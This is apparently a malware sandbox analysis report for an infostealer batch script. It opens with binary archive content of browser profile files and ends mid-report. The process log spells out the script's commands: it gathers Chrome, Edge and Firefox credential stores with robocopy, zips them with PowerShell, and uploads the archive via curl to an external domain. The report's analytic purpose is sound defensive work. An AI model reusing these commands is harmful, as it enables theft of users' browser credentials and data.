¢²NæÄÀ=ÙzaC¢?UÝCëÕ³§*Æép:Q:Ó1ºõÑÛQzæµHì#4Æ«ú'ÆµÊÅé3Ü-·ÍÝN"úoþ"u»,Réÿ~ßwRÜ¦¿H<_Æ+Ò_ÜËíò^ñ`íèr»àO±´NU>ZA¾K_DöXèÙIíÙ½'²Ó"{Èö,H?{[â¯ì¨Èö2Û%ºñéÄÔB\dEv¢¢DÊ"&.{Udgm¡áý\ddKe3 ÐA"K6Ìl¦ì( ÊJu¼æÿÑ¦xéTD7A¥íê%&1#*ÞëÊ´ð 1Ð"o£ò)Ì*O[´jß7ÝkøSaxã1UB4(úf&(8bÀGq-Áñ$8Ý¼.º7.þ¦Êx(Ä¸KJB°â(D¨29X]Ìéx+=àpì7¼¡ÕÓH.ûÓÈÂê3cÑ\²U>ýî¿6@CèÓrVÐULûX@'ò@¨¾Z²ÄÉßÓíe$D´ê!A<ñMt-¥XUÿÍúÜÛ/ú_Î/¾ì®cùipÛV¿_M¬^Wì,ïÅHámd{>ýÛàü%/^oÀÍäo'Ð¥|²Tp9ÛÏ{«ósU>!÷Qù»à¾â]HçÑÑÍæP¶(¤+pÅ=¼â¨»rOå6É÷pÏ1Þ¶ê§WÏÁÝÆ}pÏK88Î«IÈ{Ya\ÒxÝã4#Çíü,VRår÷ºWýÁÞÆhÛ£v¢0óü[//nìóâ/`Py¸È¸hù;"ÈåQËWSx¢ì¹·Ãpo[ýy¡µÂB{ÀÿIá5×ý·Ûw5=XÈ.Âÿ»x/¬]ÑÄ±Hä&¨¦ØVîAÀæ`¹h,$!ÝÊãOµPºPå¸¿×°0¿0ÿù4Æ4BÁàR`ÁW8ÿÎIC2,yd?LL¯0¢fÈÆ[*c¬-Põ[1!ê>÷78BáKbø¡I1TEç×"t7Vî>I¬L¬L<\xÒ±²ü$¾²¼2¿2ö¤r3de]+sDæç%Ý%»9 ¶"#:äE¹y¢Ê^þqËØhrUü¶åv¤â>ö ÿxü«Ýð_w¸Áù/ÿÎA?KÚüÐÜ<æVÛWãx>²S²øÎOc(ew~ZwË=w>É¬jÂ xùæá¿¯&þ}?CvyµòBGØ½á¸1?U©ñhBÿ_¾U^DÀMÜL°Ü ÷ñb.Tº@nq SRõ'¬]l»¿Á~á°ð±#»øÙ¶m)FæÃ#/ÞÇëû+¸ë]÷?p]qÔú¾ÜåÆmóÑÊvg=¶Ù1=$w¶wÊwÍÆq¹QNJ /ª9ç6dIù$56 ÐãT;)3WKÇ»S½ój©óD"Ó2?DªþÆ<ÜÅèOGà§ç¶?¿1ôi@þbF¬|È§³ÚpgEa*o©8D$dEªü%ÐÐþ5pR#À¬#Ê}ØOñW±×Xº®¸U¹»µ¹ö+¨ÚëûjiBéÙ2+Û.û$´Ö ©9l6ÃD0UóqVÄ©ùnØËXç@¿{Ö^Ë2a%5ÃQà¦é´õÓHe÷¶ e§©¥·jªNE½øÇyè!¥é÷;ÙáÕÁoüÄàÈk ÏZ0ÍF|QGÅ¡Ô¡eÄj ÝºÁÜiÀ/¨ªþ£m¨¦êâàVà>¿3_åHÁLÝ6|¨"_@êÕmë0L/°ÿæ/(çoð¨á¾¢Lê÷ÃØÈÜ;øôD÷ï3£"wÎÀlcCÀsÌpÓ:eQÂáÚPiáo ES@A£VZK¬ª§KB:¡ùõÊiX|/i$â1c`í=óS[¯¶ð.Bß"ôÅhÆ4ßû8$Öùjëj·ÁÃö7Ô{êÙOkôÃ£vÿA½×ë¯£O´3LÐ`Kîl8ûæSPÞ¿¾@±L`uÖhChÍ%Îeºicº(ÊÀC,|íüqöö(=3Ô®Eû3&Ð7âÕrà<@PÀÕ5sÀ`XBsâB¸wNÛ"ËÆqLE,I©Y9¾¿µ0Cûq§ÖÌÝÐ;éºÙ¼è"Í#´²çôµRúcö$®ÙDy§TÇ1êÃ=+ý¡û¥ë»õ ~uÿ»¹kJø¯Íýo7êäü5ßÖ!áÏIx6²¦CWlÑìÛv5ûÎj=+¯6Ã'Þ(ñóMç¦«C¥Ç¦þêË/þ.ÏÄ|Gï+z4ÿÏÃÖ ÿSÀàåakÀCÀåakÀCÀåakÀCÀåakÀCÀåakÀCÀ÷â÷½ü[-G&kGOgÎÙõÕÏÞ¼úé+ïúúêWO¾þýÛwüøÓåòÃå½¥Ûî½ôø¥+ãÅÛG;Ê{wÿòùïL?÷þ??òH·½öÃ's1T,ßñù»}xOý×öÕs||úË«c½/üVè½àå¶»NgÎÙõÕ?PK=Nùp:sñ+ff\ywzu7870.default\sessionCheckpoints.jsonuAÃ0ÿâsôüFMäT`dWZCéß¶zñQ»;z¦æ5kâqÚîl¤ÞeIYu¥;zyHVT:Õöz¹|ï}@® nèÆ¸h:ó~äCè§B& ûµ1CfõMòGðÿ§×PK,ñLy]Òk6ff\ywzu7870.default\shield-preference-experiments.jsonÍnÃ ß³±ìbc ªÔ¨Þ0ùl£b@ôGQÞ½vÜCÓ[¯Ë;{a0ðÁÙÈ40Çl¶Ás¹çÀÛ®r'º0¯g0õo³b=io¦EMeìFøuÏhg¦2TÌé¿@M{àà<µ%vªµØ×EZWà·ÂGÕ\¯©u6Ó±7ät¿hW°Hk©êª¥¤wèé+ÞÈLÖÛË»%=ýýÌç~ÇÛ?ú..³ëõPK,ñLþIv;T-ff\ywzu7870.default\shield-recipe-client.json«V266S²ªVÊI,.ÎÈ/ÏS²2456´06073660ÕQÊË/ÊMÌK©ÔÍHM,*IJM,Á«¡PKTeLùèÀff\ywzu7870.default\times.json«æRJ.JM,IMQ²R0452027±´4±07åªåPK=N¼½!ff\ywzu7870.default\xulstore.jsonQËNÃ0ü[BH)47Ôá®½$+ülVùwÖ$©0Aâ`E³3uNLÔÎj(³lïlçÁeÂ&LøâÐ*VX<ÊP³åÅ-ëLs4Ë´]d½pæøK¶Ñë¦ëUD5`U«oèñÚJ æÔeô÷(aÏÝ2`P>¸j£õÄk{äMãÏÅ©QKµæÝØÄãgÓ6s&Ýàj³NvÈó"ýýZâüøR4ðÊÇ¡u'qÉDóäT*¹Iv<@ª¹M;t ZC3^!E53xFak[RÍÚ¾Ü´ÍvhHW÷ª/87`sm*ûëw´-ímGj1ãÃã±é÷VÞtÎìû|y7ñù¬ß³^X¿×ï0#1ªyÎt¶~ï¯fçÍÖïTíµH¬Íá°¹IÒõ£Ï²±5°áØÇ#k8¾8ØÃñØ²gÃóÁ¹mÙgg¶I«ß»]ÎW×óÏp+E4U ùÇ¤º®R·ÖSMÕG°ÛËÚÍjÅW½ï´~oz ò(øêðFµçâÃ6ké±måÞ;ÂC¢<æÎo0ådÑÖGé¤>=Ë×W+7óa²òÌÿÏ+r1×(|±I3ÎæuªÀj$B³GBîjå¸¾3{xñî6©çäk<}Ü7È÷fKåï×íkäÆÜVgæOkß¹v#×ÒÖQîýßä®ç3oîNÁßÎgï®\#¹e¹Jå&©ÞQ®Y@4wètëørþ)Ë-áì7ÑLðUÉ¿\ut°ÖÊ?;¿¸]xt'7ø!<óÝ;(ïÍÆ¶Tî|§ü';¸dM£l»+¡ºô@£vrÙòìø:Ç»Èàò²{-¿Á,Î½ãNo§Þ×ç»ÌB²è¶Ügn¨$K:ì)OãdWî×çÈ~Ï£¥Ø#ßÈ£/ö¸ iD*QÖm«1uØ`:<(úw*4)Ãe6¥Jßt÷?£`#dé%RÉô±ªà#L3¾ÍnªXØ6óôÉÎÍY«v ©o~·¹¡lÐ¯Ü;øýZU1]AÂ¢²©ñfäR!=0 o-¨LþJîG¥i¼Â¨ÁÏAeQPÅjº«cj×Ñ®wãLóÖD6é³Y0ñ°gÖËú3ÏÌý²×oiéÿKT5ðäìhF¦÷IÕyk4] b{&5Ì+ìÓº3^ÀÁ+È dÅD_|1TaDcÀìÍÌûNLoêUÝj¼`ÜåÖ¿û]§Û¶Ô!óvo%_½Ý<'}NùIÁc<©*øw"d#¦.ãG5 §88(¥3$WõLh\[§{uLê¿Ì^¤öFP¯ò\âÓUý.$nCUxa#EÂÙjyË!ïE6íøE>4àù!&kÊ³Óy_êZeoÆ8làf3ÕÉ¼s1Ó²1IõòQ®g¾ûn#±&Q´ØÛÌ}ÀohéiJüÒÉ£1=ÏÓùóâR¹YVÎÿâ7wsJó3¿[¿ÎësÉ;Æk±Àe¼¢"wU¸Ý¾9÷f¿÷PKéP]¢°È»chrome-Default\000003.logPKO,H]5çvúk'©G?edge-Default\000003.ldbPKo,H]j*ÐÉß*edge-Default\000004.logPK+k]$!+ff\ywzu7870.default\gmp-widevinecdm\PK+k]c+ff\ywzu7870.default\weave\PKT+ñL¾¾-+ff\ywzu7870.default\addons.jsonPK{+ñLS>q:>ò+ff\ywzu7870.default\cert9.dbPKv=N%m'«#fjff\ywzu7870.default\containers.jsonPKv=N ëáo#Îkff\ywzu7870.default\extensions.jsonPKTeLVpð#«!ðff\ywzu7870.default\handlers.jsonPKTeLägÀèRff\ywzu7870.default\key4.dbPK=Nùp:sñ+sff\ywzu7870.default\sessionCheckpoints.jsonPK,ñLy]Òk6/ff\ywzu7870.default\shield-preference-experiments.jsonPK,ñLþIv;T-Uff\ywzu7870.default\shield-recipe-client.jsonPKTeLùèÀÛff\ywzu7870.default\times.jsonPK=N¼½!6ff\ywzu7870.default\xulstore.jsonPK=N~?¡4ff\ywzu7870.default\datareporting\session-state.jsonPKTeL6ÌÏt53,aff\ywzu7870.default\datareporting\state.jsonPK+ñLQW-Bº`<àff\ywzu7870.default\gmp-widevinecdm\1.4.8.1008\manifest.jsonPK/ñL]*ôff\ywzu7870.default\weave\failed\tabs.jsonPK/ñL]+Hff\ywzu7870.default\weave\toFetch\tabs.jsonPK*k]@'\¨who.txtPKûL"55:T4e3,Spawned process "cmd.exe" with commandline "/c ""C:\\cmd.bat" "" (UID: 00000000-00000860) Spawned process "whoami.exe" with commandline "whoami /all" (UID: 00000000-00000188) Spawned process "Robocopy.exe" with commandline "robocopy "%TEMP%\\vx28417\\edge-Default" *.log *.ldb /R:0 /W:0 /NJH /NJS /NP" (UID: 00000000-00008900) Spawned process "Robocopy.exe" with commandline "robocopy "%TEMP%\\vx28417\\edgeidb-Default" /E /R:0 /W:0 /NJH /NJS /NP /XD "https_*" "http_*"" (UID: 00000000-00002156) Spawned process "Robocopy.exe" with commandline "robocopy "%TEMP%\\vx28417\\chrome-Default" *.log *.ldb /R:0 /W:0 /NJH /NJS /NP" (UID: 00000000-00004336) Spawned process "Robocopy.exe" with commandline "robocopy "%APPDATA%\\Mozilla\\Firefox\\Profiles" "%TEMP%\\vx28417\\ff" *.json *.db /S /R:0 /W:0 /NJH /NJS /NP" (UID: 00000000-00008476) Spawned process "powershell.exe" with commandline "powershell -nop -w h -c "Compress-Archive -Path '%TEMP%\\vx28417\\*' -DestinationPath '%TEMP%\\vx28417.zip' -Force"" (UID: 00000000-00007064) Spawned process "curl.exe" with commandline "-s --max-time 600 -X POST -H "x-tag:DESKTOP-FVVF82A" --data-binary @"%TEMP%\\vx28417.zip" https://pumpadmin.fun/c -o "%TEMP%\\vx28417.json"" (UID: 00000000-00007628)30:["$","$Lc",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$33"}}],["$","$L35",null,{"initialData":{"schema_version":"1.0.17","sha256":"f12e8dde651458f015d4477abc30d34f857028bb02700019a9f375b0ffdf410c","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1794403458436,"unified_at":"2026-11-11T13:24:18.436Z","metadata":{"hashes":{"sha256":"f12e8dde651458f015d4477abc30d34f857028bb02700019a9f375b0ffdf410c","sha1":"13d1998c7cedd9416e8c8c353a44d09f3df102f0","md5":"ba78e36ba9250b59891e3d5c42f877f0","sha512":"539ac0a1b2ddd55ec702c55af83f264055520f47e90dec7f46cc93f62eb0ea9246d5fb418391d373f79db2126e4678cf994f00ac779fa9f2571e2c4a4c19b519","ssdeep":"24:6+j0cub/Ip3qAw0cub/Bp6N6ep01/IpRAw01/BpF6ep0BWD/IpZAiET8SzMX7+RL:6+Acub/h0cub/Ai1/+01/diBWD/Q/J+R","ssdeep_chunks":["24:6+j0cub","24:+j0cub/","24:j0cub/I","24:0cub/Ip","24:cub/Ip3","24:ub/Ip3q","24:b/Ip3qA","24:/Ip3qAw","24:Ip3qAw0","24:p3qAw0c","24:3qAw0cu","24:qAw0cub","24:Aw0cub/","24:w0cub/B","24:0cub/Bp","24:cub/Bp6","24:ub/Bp6N","24:b/Bp6N6","24:/Bp6N6e","24:Bp6N6ep","24:p6N6ep0","24:6N6ep01","24:N6ep01/","24:6ep01/I","24:ep01/Ip","24:p01/IpR","24:01/IpRA","24:1/IpRAw","24:/IpRAw0","24:IpRAw01","24:pRAw01/","24:RAw01/B","24:Aw01/Bp","24:w01/BpF","24:01/BpF6","24:1/BpF6e","24:/BpF6ep","24:BpF6ep0","24:pF6ep0B","24:F6ep0BW","24:6ep0BWD","24:ep0BWD/","24:p0BWD/I","24:0BWD/Ip","24:BWD/IpZ","24:WD/IpZA","24:D/IpZAi","24:/IpZAiE","24:IpZAiET","24:pZAiET8","24:ZAiET8S","24:AiET8Sz","24:iET8SzM","24:ET8SzMX","24:T8SzMX7","24:8SzMX7+","24:SzMX7+R","24:zMX7+RL","48:6+j0cub","48:+j0cub/","48:j0cub/I","48:0cub/Ip","48:cub/Ip3","48:ub/Ip3q","48:b/Ip3qA","48:/Ip3qAw","48:Ip3qAw0","48:p3qAw0c","48:3qAw0cu","48:qAw0cub","48:Aw0cub/","48:w0cub/B","48:0cub/Bp","48:cub/Bp6","48:ub/Bp6N","48:b/Bp6N6","48:/Bp6N6e","48:Bp6N6ep","48:p6N6ep0","48:6N6ep01","48:N6ep01/","48:6ep01/I","48:ep01/Ip","48:p01/IpR","48:01/IpRA","48:1/IpRAw","48:/IpRAw0","48:IpRAw01","48:pRAw01/","48:RAw01/B","48:Aw01/Bp","48:w01/BpF","48:01/BpF6","48:1/BpF6e","48:/BpF6ep","48:BpF6ep0","48:pF6ep0B","48:F6ep0BW","48:6ep0BWD","48:ep0BWD/","48:p0BWD/I","48:0BWD/Ip","48:BWD/IpZ","48:WD/IpZA","48:D/IpZAi","48:/IpZAiE","48:IpZAiET","48:pZAiET8","48:ZAiET8S","48:AiET8Sz","48:iET8SzM","48:ET8SzMX","48:T8SzMX7","48:8SzMX7+","48:SzMX7+R","48:zMX7+RL","24:6+Acub/","24:+Acub/h","24:Acub/h0","24:cub/h0c","24:ub/h0cu","24:b/h0cub","24:/h0cub/","24:h0cub/A","24:0cub/Ai","24:cub/Ai1","24:ub/Ai1/","24:b/Ai1/+","24:/Ai1/+0","24:Ai1/+01","24:i1/+01/","24:1/+01/d","24:/+01/di","24:+01/diB","24:01/diBW","24:1/diBWD","24:/diBWD/","24:diBWD/Q","24:iBWD/Q/","24:BWD/Q/J","24:WD/Q/J+","24:D/Q/J+R"],"imphash":"Unknown"},"file_info":{"file_name":"p.cmd","file_type":["script","bat"],"file_type_id":"bat","file_size":1401,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1794135316000,"last_seen":1794403216000,"last_multi_scan":1794403216000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["new_domain","malicious"]},"stats":{"av":{"malicious_count":4,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":62},"sandbox_signatures":{"informative_count":123,"suspicious_count":11,"malicious_count":3,"total":137},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.82086952","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.82086952 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"BAT/Spy.Agent.OC trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"ABTrojan.SKEB-1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Reads files"},{"type":"informative","value":"Able to access file/directory"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to retrieve list of files and subdirectories"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to transfer data using curl"},{"type":"suspicious","value":"Drops script files inside temp directory"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","identifiers":[{"type":"informative","value":"Able to compress file/directory using PowerShell cmdlet"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"suspicious","value":"Found browsers sensitive information related strings"},{"type":"informative","value":"Writes files in a temp directory"},{"type":"suspicious","value":"Found browser information locations related strings"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contains references to network communication API (string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"suspicious","value":"Queries sensitive IE security settings"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Contains registry location strings"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Executes PowerShell with command line"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"},{"type":"informative","value":"Recently renewed or created SSL certificate"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to create a process"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Execution","technique":"Scheduled Task/Job","attack_id":"T1053","attack_id_wiki":"https://attack.mitre.org/techniques/T1053","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Calls an API typically used to load libraries"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to create/modify Windows services (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Writes registry keys"},{"type":"suspicious","value":"Modifies Software Policy Settings"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Credential Access","technique":"Steal Web 